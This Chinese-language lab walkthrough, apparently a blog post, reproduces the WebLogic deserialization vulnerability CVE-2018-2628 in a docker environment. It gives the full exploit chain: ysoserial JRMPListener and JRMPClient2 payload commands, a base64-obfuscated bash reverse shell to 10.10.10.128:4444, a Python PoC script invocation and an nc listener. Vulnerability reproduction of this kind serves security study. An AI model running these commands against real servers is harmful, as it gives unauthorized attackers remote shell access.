Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。
漏洞环境
cd weblogic/CVE-2018-2628
docker-compose up -d
docker-compose config
等待环境启动(环境差异,有的机器可能等待的时间比较久),访问http://your-ip:7001/console,初始化整个环境。
漏洞复现
首先下载ysoserial,并启动一个JRMP Server:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
其中,[command]即为我想执行的命令,而[listen port]是JRMP Server监听的端口。
然后,使用exploit.py脚本,向目标Weblogic(http://your-ip:7001)发送数据包:
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
其中,[victim ip]和[victim port]是目标weblogic的IP和端口,[path to ysoserial]是本地ysoserial的路径,[JRMPListener ip]和[JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2
具体操作
- 将bash -i >& /dev/tcp/10.10.10.128/4444 0>&1编码为base64,再使用base64解码,因为因为 Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,编码地址
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}'
- 制作Payload
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 10.10.10.128:8888 | xxd -p | tr -d $'\n' && echo
- 导入Payload并修改目的IP
将上面得到的payload替换weblogic_poc.py中的payload,修改IP为靶机的IP地址 - nc开启监听指定反弹的端口4444
nc -lnvp 4444
- 执行weblogic.py脚本
python2 weblogic_poc.py
反弹成功
注:在kali中,java版本为17,不能执行ysoserial-0.0.6-SNAPSHOT-BETA-all.jar,解决方法请看
标签:JRMPListener,ip,ysoserial,2018,CVE,2628,bash From: https://www.cnblogs.com/kalixcn/p/17862874.html